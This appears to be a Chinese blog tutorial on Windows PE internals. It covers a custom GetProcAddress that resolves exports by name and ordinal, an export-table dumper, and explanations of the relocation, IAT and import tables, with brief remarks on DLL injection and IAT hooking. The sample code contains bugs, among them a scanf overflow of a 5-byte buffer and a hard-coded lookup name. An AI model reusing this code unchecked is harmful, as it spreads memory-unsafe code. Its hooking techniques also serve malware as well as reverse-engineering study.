那么我们来继续看一下通过序号导出,怎么来写GetProcAddress函数。
代码总结:
DWORD RAVTOVA(DWORD RVA, DWORD hModule)
{
return RVA + hModule;
}
FARPROC
WINAPI
MyGetProcAddress(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
){
//获取DOS头
PIMAGE_DOS_HEADER pIMAGE_DOS_HEADER = (PIMAGE_DOS_HEADER)hModule;
//获取NT头
PIMAGE_NT_HEADERS pIMAGE_NT_HEADERS = (PIMAGE_NT_HEADERS)(pIMAGE_DOS_HEADER->e_lfanew +
(DWORD)hModule);
//获取导出表
PIMAGE_EXPORT_DIRECTORY pIMAGE_EXPORT_DIRECTORY = (PIMAGE_EXPORT_DIRECTORY)RAVTOVA(
(DWORD)pIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[0].VirtualAddress,
(DWORD)hModule);
//导出函数名称表
DWORD* NameAddress = (DWORD*)RAVTOVA(pIMAGE_EXPORT_DIRECTORY->AddressOfNames, (DWORD)hModule);
//导出函数名称序号表
WORD* NameOrdinalAddress = (WORD*)RAVTOVA(pIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals, (DWORD)hModule);
//导出函数地址表
DWORD* AddressFun = (DWORD*)RAVTOVA(pIMAGE_EXPORT_DIRECTORY->AddressOfFunctions, (DWORD)hModule);
for (size_t i = 0; i < pIMAGE_EXPORT_DIRECTORY->NumberOfNames; i++)
{
char* FunName = (char*)RAVTOVA(NameAddress[i], (DWORD)hModule);
if (strcmp(FunName, lpProcName) == 0)
{
printf("%dn", NameOrdinalAddress[i] + pIMAGE_EXPORT_DIRECTORY->Base);
printf("%xn", RAVTOVA(AddressFun[NameOrdinalAddress[i]], (DWORD)hModule));
printf("找到了n");
}
//printf("%sn", FunName);
}
return NULL;
}
int main()
{
HMODULE Hmodule = GetModuleHandleA("ntdll.dll");
//MessageBoxA(0, 0, 0, 0);
MyGetProcAddress(Hmodule, "RtlDispatchAPC");
std::cout << "Hello World!n";
}
序号导出
我们都知道需要导出的话,直接拿着这个序号去函数地址表中找即可。
首先还是先获取到导出表。
ULONG_PTR dllBaseAddr = (ULONG_PTR)hModule;
//获取DOS头
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dllBaseAddr;
//获取NT头
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(dllBaseAddr + dosHeader->e_lfanew);
//获取表目录的第一项 也就是导出表
PIMAGE_EXPORT_DIRECTORY pexport = (PIMAGE_EXPORT_DIRECTORY)(dllBaseAddr + pNtHeader->OptionalHeader.DataDirectory[0].VirtualAddress);
//获取到函数的导出地址表。
DWORD* ppExprotFunctions = (DWORD*)(dllBaseAddr + pexport->AddressOfFunctions);
紧接着获取到函数地址表。
//获取到函数的导出地址表。
DWORD* ppExprotFunctions = (DWORD*)(dllBaseAddr + pexport->AddressOfFunctions);
那么拿到函数地址表之后然后来去获取传进来的序号,并且获取到导出函数的起始序号,也就是Base那个属性,需要注意的是这里显示是十进制的。
//获取传递进来的序号
WORD ordinal = LOWORD(procName);
DWORD dwOrdinalBase = pexport->Base; //获取到导出函数的起始序号
ULONG_PTR addr = 0;
然后进行判断如果传进来的需要小于函数的起始序号或传进来的序号大于等于起始序号加上所有函数的个数的话就直接返回NULL。
否则将传进来的然后减去Base的起始序号得到真正的序号,然后通过导出地址表的下标找到对应的地址。
//判断如果传进来的需要小于函数的起始序号或传进来的序号大于等于起始序号加上所有函数的个数的话就直接返回NULL
if (ordinal < dwOrdinalBase || ordinal >= dwOrdinalBase + pexport->NumberOfFunctions) {
return NULL;
}
else {
//这里就是将传进来的参数然后减去Base的起始序号得到真正的序号,然后通过ppExprotFunctions找到对应的地址
return (void*)((ULONG_PTR)hModule + (DWORD)(ppExprotFunctions[ordinal - dwOrdinalBase]));
}
return 0;
序号导出
比如说提供了一个序号是10,首先使用10减去Base属性的值得到的值直接去函数地址找下标即可。
代码实现:
//定义读取文件函数
char* ReadToFile(char* filename) {
FILE* fp;
char* FileBuffer = NULL;
int length;
if ((fp = fopen(filename, "rb")) == NULL) {
printf("%s打开失败!", filename);
exit(0);
}
else {
printf("文件打开成功,正在计算文件大小...n");
}
fseek(fp, 0, SEEK_END);
length = ftell(fp);
fseek(fp, 0, SEEK_SET);
FileBuffer = (char*)malloc(length);
if (FileBuffer == NULL) {
printf("内存申请失败");
}
//读取数据
size_t n = fread(FileBuffer, length, 1, fp);
if (!n) {
printf("文件读取失败");
}
fclose(fp);
return FileBuffer;
}
int RVA_FOA(IN LPVOID pFileBuffer, IN DWORD dwRva)
{
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_FILE_HEADER pFileHeader = NULL;
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = NULL;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_SECTION_HEADER pNextSectionHeader = NULL;
//DOS头
pDosHeader = (PIMAGE_DOS_HEADER)pFileBuffer; // 强转 DOS_HEADER 结构体指针
//PE头
pFileHeader = (PIMAGE_FILE_HEADER)((DWORD)pFileBuffer + pDosHeader->e_lfanew + 4); //NT头地址 + 4 为 FileHeader 首址
//可选PE头
pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pFileHeader + IMAGE_SIZEOF_FILE_HEADER);//SIZEOF_FILE_HEADER为固定值且不存在于PE文件字段中
if (dwRva < pOptionalHeader->SizeOfHeaders) //偏移小于头的大小,内存偏移则为文件偏移
{
return dwRva;
}
//首个节表
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
//下一个节表
pNextSectionHeader = pSectionHeader + 1;
//循环遍历节表
int i;
for (i = 1; i < pFileHeader->NumberOfSections; i++, pSectionHeader++, pNextSectionHeader++)//注意这里i从1开始 i < NumberOfSections
{ //注意这里的pSectionHeader已经是加了基址的,不是偏移, 是绝对地址。而dwRva是偏移地址
if (dwRva >= pSectionHeader->VirtualAddress && dwRva < pNextSectionHeader->VirtualAddress)//大于当前节的内存偏移而小于下一节的内存偏移
{ //则dwRva属于当前节,则dwRva - VirtualAddress为dwRva基于当前节的偏移。此偏移加上当前节的文件起始偏移地址 则为dwRva在文件中的偏移
DWORD PointerToRawData = pSectionHeader->PointerToRawData;
DWORD VirtualAddress = pSectionHeader->VirtualAddress;
DWORD aa = pSectionHeader->PointerToRawData + dwRva - pSectionHeader->VirtualAddress;
return pSectionHeader->PointerToRawData + dwRva - pSectionHeader->VirtualAddress;
}
} //出循环后pSectionHeader指向最后一个节表
//大于当前节(最后一节)的内存偏移且小于内存映射大小
if (dwRva >= pSectionHeader->VirtualAddress && dwRva < pOptionalHeader->SizeOfImage)
{ //同上return
return pSectionHeader->PointerToRawData + dwRva - pSectionHeader->VirtualAddress;
}
else //大于内存映射大小
{
printf("dwRva大于内存映射大小n");
return -1;
}
}
//获取PE导出表数据函数
void ShowExportDirectory(char* FileBuffer) {
IMAGE_DOS_HEADER* pDosHeader = NULL;
IMAGE_FILE_HEADER* pFileHeader = NULL;
IMAGE_OPTIONAL_HEADER32* pOptionalHeader = NULL;
IMAGE_EXPORT_DIRECTORY* pExportDirectory = NULL;
pDosHeader = (IMAGE_DOS_HEADER*)FileBuffer;
if (*((PDWORD)((DWORD)FileBuffer + pDosHeader->e_lfanew)) != IMAGE_NT_SIGNATURE) {
printf("不是有效的PE标志!n");
}
else {
printf("检测到有效的PE标志。n");
}
pFileHeader = (IMAGE_FILE_HEADER*)(FileBuffer + pDosHeader->e_lfanew + 4);
pOptionalHeader = (IMAGE_OPTIONAL_HEADER32*)((DWORD)pFileHeader + 20);
pExportDirectory = (IMAGE_EXPORT_DIRECTORY*)(FileBuffer + RVA_FOA(FileBuffer, pOptionalHeader->DataDirectory[0].VirtualAddress));
printf("%x", pOptionalHeader->DataDirectory[0].VirtualAddress);
printf("导出表RVA:%xn", pOptionalHeader->DataDirectory[0].VirtualAddress);
printf("导出表大小:%x字节n", pOptionalHeader->DataDirectory[0].Size);
printf("导出表FOA:%xn", RVA_FOA(FileBuffer, pOptionalHeader->DataDirectory[0].VirtualAddress));
printf("*******************************导出表*********************************n");
printf("TimeDataStamp(经加密):%dn", pExportDirectory->TimeDateStamp); //时间
printf("Name(导出表文件名字符串):%sn", FileBuffer + RVA_FOA(FileBuffer, pExportDirectory->Name));
printf("Base(函数起始序号):%dn", pExportDirectory->Base);
printf("NumberOfFunction(导出函数总数):%dn", pExportDirectory->NumberOfFunctions);
printf("NumberOfNames(以名称导出函数的总数):%dn", pExportDirectory->NumberOfNames);
printf("*****************************函数地址表********************************n");
int i = 0;
char* AddressOfFunction;
//这里将函数地址表的RVA转换成FOA。
AddressOfFunction = (char*)(FileBuffer + RVA_FOA(FileBuffer, pExportDirectory->AddressOfFunctions));
for (i = 0; i < pExportDirectory->NumberOfFunctions; i++) {
printf("下标:%d 函数地址:0x%xn", i, *(PWORD)((DWORD)AddressOfFunction + i * 4));
}
printf("*****************************函数名称表********************************n");
int* AddressOfNames = NULL;
char* name = NULL;
AddressOfNames = (int*)(FileBuffer + RVA_FOA(FileBuffer, pExportDirectory->AddressOfNames));
for (i = 0; i < pExportDirectory->NumberOfNames; i++) {
name = (char*)(FileBuffer + RVA_FOA(FileBuffer, *AddressOfNames));
printf("下标:%d 函数名称:%sn", i, name);
AddressOfNames++;
}
printf("*******************************函数序号表*******************************n");
char* AddressOfNameOrdinals = NULL;
char* Ordinal = NULL;
AddressOfNameOrdinals = (char*)(FileBuffer + RVA_FOA(FileBuffer, pExportDirectory->AddressOfNameOrdinals));
for (i = 0; i < pExportDirectory->NumberOfNames; i++) {
Ordinal = (char*)(FileBuffer + RVA_FOA(FileBuffer, *AddressOfNameOrdinals));
printf("下标:%d 函数序号(加Base):%dn", i, *(AddressOfNameOrdinals + i * 2) + pExportDirectory->Base);
}
}
//根据函数名称查找函数地址函数
void GetAddressOfFunctionByName(char* filename) {
char* FileBuffer = NULL;
char inname[5];
int i;
FileBuffer = ReadToFile(filename);
IMAGE_DOS_HEADER* pDosHeader = NULL;
IMAGE_FILE_HEADER* pFileHeader = NULL;
IMAGE_OPTIONAL_HEADER32* pOptionalHeader = NULL;
IMAGE_EXPORT_DIRECTORY* pExportDirectory = NULL;
pDosHeader = (IMAGE_DOS_HEADER*)FileBuffer;
if (*(PWORD)((DWORD)FileBuffer + pDosHeader->e_lfanew) == IMAGE_NT_SIGNATURE) {
printf("检测到有效的PE标志。n");
}
else {
printf("未检测到有效的PE标志!n");
exit(0);
}
pFileHeader = (IMAGE_FILE_HEADER*)((DWORD)FileBuffer + pDosHeader->e_lfanew + 4);
pOptionalHeader = (IMAGE_OPTIONAL_HEADER32*)((DWORD)pFileHeader + 20);
pExportDirectory = (IMAGE_EXPORT_DIRECTORY*)(FileBuffer + RVA_FOA(FileBuffer, pOptionalHeader->DataDirectory[0].VirtualAddress));
int* AddressOfNames = NULL;
char* name = NULL;
AddressOfNames = (int*)(FileBuffer + RVA_FOA(FileBuffer, pExportDirectory->AddressOfNames)); //获取到函数名称表
printf("请输入您需要查找的函数名:");
scanf("%s", inname);
printf("正在查找中...n");
for (i = 0; i < pExportDirectory->NumberOfNames; i++) {
name = (char*)(FileBuffer + RVA_FOA(FileBuffer, RVA_FOA(FileBuffer, *AddressOfNames)));
if (!(strcmp("Plus", name))) {
printf("下标为%d的函数名符合。n", i);
break;
}
AddressOfNames++;
}
char* Ordinal = NULL;
Ordinal = (char*)(FileBuffer + RVA_FOA(FileBuffer, pExportDirectory->AddressOfNameOrdinals) + i * 2);
char* AddressOfFunction = NULL;
AddressOfFunction = (char*)(FileBuffer + RVA_FOA(FileBuffer, pExportDirectory->AddressOfFunctions) + *Ordinal * 4);
printf("Ordinal(函数导出序号(未加Base)):%d AddressOfFunction:0x%x", *Ordinal, *(PWORD)((DWORD)AddressOfFunction));
}
int main()
{
char* fileBufferX = NULL;
char filepath[] = "C:\Users\Admin\source\repos\DynmicTests\DynmicTests\TestDynmic.dll";
fileBufferX = ReadToFile(filepath);
DWORD rva = 0x0008DF80;
/*int x = RVA_FOA(fileBufferX,rva);
printf("FOA的值为:%x", x);*/
//ShowExportDirectory(fileBufferX);
GetAddressOfFunctionByName(filepath);
}
重定位表分析
程序加载的过程
程序在运行的时候系统会给他分4GB的虚拟空间,紧接着系统会给EXE程序从400000进行分配空间,这个空间的大小是由SizeOfImage来决定的,SizeOfImage就是将这个程序放到内存中后有多大。
那么这个EXE程序还用到了其他别人的DLL,所以就需要加载对应的DLL程序,比如说我们找到一个DLL名字叫ker32.DLL,首先操作系统在加载的时候先去读取ImageBase,发现ker32.dll的imagebase的是745E0000,那么就从745E0000给ker32.dll分配空间。按照这种方式去加载其他的DLL程序。
需要注意的是:
1.EXE是按照ImageBase的地址进行加载的,因为EXE拥有自己独立的4GB的虚拟空间,但DLL不是,DLL是如果有EXE使用它的话,才会加载到相关EXE的进程空间中的。
2.为了提高速度,模块间的地址也是要对齐的,模块地址对齐为10000H 也就是64K
DLL冲突问题:
我们会发现我们在自己编写的DLL程序的imageBase的值都是10000000,那么也就意味着EXE程序当需要去加载我们自己写的DLL的时候他会从10000000这里开始分空间,那么如果我们再加载第二个自己写的DLL的话会不会造成冲突问题呢?
如下图,当Tets.dll已经放到了1000000位置上之后,新加载进来的Test1.dll,想放到1000000的时候,发现已经被占用了,所以只能加载到其他的位置了。
那么这样的话就会造成一个问题。
比如说我们的DLL程序中有一个全局变量为X,在内存中它的地址为0042CA44,因为是全局变量,所以它的地址是写死的,并不是相对偏移,那么如果还有另外的一个DLL文件,它里面也有一个全局变量为Y,那么它的地址是00421234,这样的话在加载第二个DLL的时候,因为是绝对偏移,所以会导致程序找不到地址。
重定位表的定位
数据目录项的第6个结构,就是重定位表。
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress; //需要转换成FOA
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
他也是RVA,需要我们转换成FOA。
如下就是真正重定位表的结构了。
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION ,* PIMAGE_BASE_RELOCATION;
首先我们来看一下如下图,我们会发现这两个属性之后并不是下一块,而是后面跟了很多数据之后才是下一块,而SizeOfBlock属性表示的就是这一块的大小是多少,同样因为有了SizeOfBlock属性,所以我们也能定位到下一块。下面跟着的这些数据每一个是2字节。这里的每两个字节代表的是这一块它有多少个数据需要修复。
那么比如说我们现在需要20000个地址需要修改,那么占用多少字节?
每一个地址占用4个字节,那么就乘以4即可,也就是8 0000个字节。
这样的话是很浪费的。
那么比如说我们想存储的地址是6023 6099 6065 6027呢?
那么按道理说这四个地址是占用16个字节的。那么如果我们将6000给他提取出来,比如说我们将6000放到一个大的空间中,然后将23,99,65,27放到小的空间中,那么23,99这些值只需要存到8位寄存器即可,那么这四个加起来只需要8个字节即可,然后使用6000去加上23,99,65,27即可。
那么这个提取出来的6000存储在那呢?
起始就是存储在重定位表结构的VirtualAddress属性。
那么这两个加起来就是RVA,RVA转换成FOA的这个地址是需要更改的。
这里的每一块都是一个页。
可以看到如下他分了很多个快,可以看到第一个块中要修改的数据都是11000左右的地址。
第二个是12000左右的地址,需要注意的是这些都是都是RVA的,所以需要转换成FOA。
那么到底有多少块呢?这个是由我们程序的大小来进行决定的。
重定位表的本质:
比如说我们点击程序exe的时候,系统会分配4GB的虚拟内存空间,高2GB是内核的,低2GB是给我们用的,系统一般就跟贴图一样,会将我们的exe还有dll这些贴到2GB空间中。
如下图:
那么比如说我们想给目标程序注入一个DLL,比如说目标EXE中CALL的地址是0X7CC189,那么我们DLL中函数的地址也是这个地址,但是当我们去贴这个DLL的时候发现位置已经被人占用了,那么只能往下贴了。
那么我们知道在EXE中CALL的地址是0X7CC189,但是我们的DLL文件只能放在900000这个位置了,所以就需要我们重定位表进行修复了,如果不修复的话这一块的DLL就是一堆垃圾。
IAT表
首先我们写一个程序,然后来看一下MessageBox的反汇编代码。
int main()
{
MessageBox(0, 0, 0, 0);
std::cout << "Hello World!n";
}
可以看到它CALL的地址是0C6D104h,也就是说它CALL的是0C6D104h中存储的值。那么我们来看一下它存储的值是什么。
可以看到这里面存储的值就是746489C0这个地址,那么我们CALL的地址就是它。
我们跟进去会发现它跳到了746489C0这个地址。这个地址一定不是我们EXE的地址,这个地址是DLL提供的地址。
如上是在运行的时候0C6D104h中存储到的地址是746489C0。
那么也就是说在程序运行的时候的地址是746489C0。
那么在文件中的地址呢?
那么这里的在运行前也就是call ->4070bc->77d5050B 这样。
那么这种机制其实就是IAT表。
只要我们程序调用DLL中的程序,我们会发现是这样的。这就是IAT表
那么IAT Hook其实就是改这里面的值,去执行你的DLL中的代码,而不是去执行它的。
导入表
一般EXE没有导出表,但是肯定是有导入表的,DLL既有导入表也有导出表,因为它可能用到了其他的DLL文件。
导入表在节目录的第二项,也就是导出表的下面。
导入表的结构:
IMAGE_IMPORT_DESCRIPTOR STRUCT{
union{
DWORD Characteristics
DWORD OriginalFirstThunk //RVA 指向IMAGE_THUNK_DATA结构数组
};
DWORD TimeDateStamp //时间戮
DWORD Forwarderchain
DWORD Namel //RVA 指向dll名字 该名字已0结尾
DWORD FirstThunk //RVA 指向IMAGE_THUNK_DATA结构数组
PORT_DESCRIPTOR;
那么我们导入ipmsg.exe程序,因为内存和文件对齐是一样的,所以不需要转了。
这里导入表的RVA的值是500D0。
我们找到这个地址,前我们找到从13个字节到16个字节就是Name属性的值。
我们定位到00050A58这个地址。
可以看到这里kernel32.dll就是名字。
导入表分为文件加载前和文件加载后
导入表PE文件加载前:
首先Name这个属性指向的user32.dll这个名字。
OriginalFirstThunk指向的是INT表,I表示import,N表示Name,T是Table,那么其实就是导入名称表。
这个表里面存储着一个一个IMAGE_THUNK_DATA这样的结构,它最后是以0结尾的,那么在解析这张表的时候需要循环,循环到0的时候就结束了。
FirstThunk指向的是IAT表,那么我们如果想定位IAT表的话可以通过导入表的属性FirstThunk,也可以通过目录项的倒数第三项就是IAT表。
那么我们在看如上图的时候发现INT和IAT表的结构是一样的。
里面都包含了IMAGE_THUNK_DATA32这个结构。
那么我们来看一下这个结构
这个结构占用4个字节。
struct _IMAGE_THUNK_DATA32{
union {
DWORD ForwarderString
DWORD Function ; //被输入的函数的内存地址
DWORD Ordinal ; //被输入的API的序数值
DWORD AddressOfData ; //高位为0则指向IMAGE_IMPORT_BY_NAME 结构体二
}u1;
}IMAGE_THUNK_DATA32;
而这个结构指向了IMAGE_IMPORT_BY_NAME这张表。导入名称表
INT和IAT这两张表在内存中的地址是不一样的,但是他们的值是一样的,都指向了IMAGE_IMPORT_BY_NAME 导入名称表。
我们可以来看一下:
导入表PE文件加载后:
如下图在加载前的时候IAT表和INT表中的值是一样的,但是在加载后IAT表中存储的就是函数的地址了。
其实就是对应了我们上面看到的exe在运行前和运行时的对比。
运行时的时候call的这个地址中存储的是77d5050b这个地址,但是在运行前的时候4070bc中存储的是7604的地址,而7604这个地址中存储的是MessageBoxA,也就是函数的名称,那么也就是说在加载前里面存储的是偏移,加载后里面存储的就是地址了。
其实对应的就是导入表PE文件加载前和加载后中IAT表的变化。
在加载前INT表和IAT表都指向的导入名称表,而加载后IAT表中变成了函数的地址。
那么我们在想为什么在加载前这两张表都指向导入名称表呢?
需要留一个名字的备份,这个备份是由INT表来做的。
那么INT表无论是加载前还是加载后都是一样的,但是IAT表不同。
IAT表在加载后的时候系统会循环INT表,比如说发现INT表中的第一个是MessageBox,调用GetProAddr()函数去拿到MessageBox的地址然后放到IAT表中,再找第一个函数名称,然后再去调用GetProAddr()函数去拿到该函数的地址,然后放到IAT表中。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论